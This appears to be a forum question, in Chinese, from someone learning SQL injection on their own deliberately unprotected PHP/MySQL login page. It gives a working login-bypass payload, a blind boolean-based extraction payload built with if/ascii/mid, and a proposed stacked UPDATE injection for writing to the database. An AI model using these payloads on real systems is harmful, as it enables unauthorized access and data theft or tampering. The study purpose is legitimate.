可以在 WHERE 中执行 UPDATE 子句吗?

Could execute an UPDATE clause in WHERE?

我正在学习 SQL 注入,我构建了一个没有 SQL 注入保护的 Web 应用程序(PHP + MYSQL(5.6))。

简而言之,我的网络应用程序使用

SELECT * FROM XXX.USER WHERE user_name='${USERNAME}' AND password='${PASSWORD}'

处理登录(如果sql returns只有1行,则登录成功)。

一开始我发现输入USERNAME Sayakiss' -- 然后我的SQL:

SELECT * FROM XXX.USER WHERE user_name='Sayakiss' -- ' AND password='${PASSWORD}'

通过这种方式,攻击者可以不用密码以 Sayakiss 登录。

然后我发现了一些更有趣的东西(select 子句可以在 if 函数中)——攻击者输入 USERNAME as

Sayakiss' and if((select ascii(mid(z,p,1)) from x.y limit n,1)=c,1,0) -- 

这可以检查字符 table x.y 的第 n 列第 z 行的 p 位置的字符的 ascii 等于c与否。

如果攻击者登录成功,那么他就知道字符的ascii等于c

所以攻击者可以通过枚举获取我数据库的所有内容!

现在我想知道,如何(如果可能的话)以类似的方式执行更新查询来写入数据库?

我相信是这样,攻击者可以进行更新,可能需要 table 的名称和正确 运行 的字段。 我认为查询会像
'Sayakiss'; UPDATE table_name SET field1=new-value1, field2=new-value2 WHERE user_name='Sayakiss'; -- RelevantSome more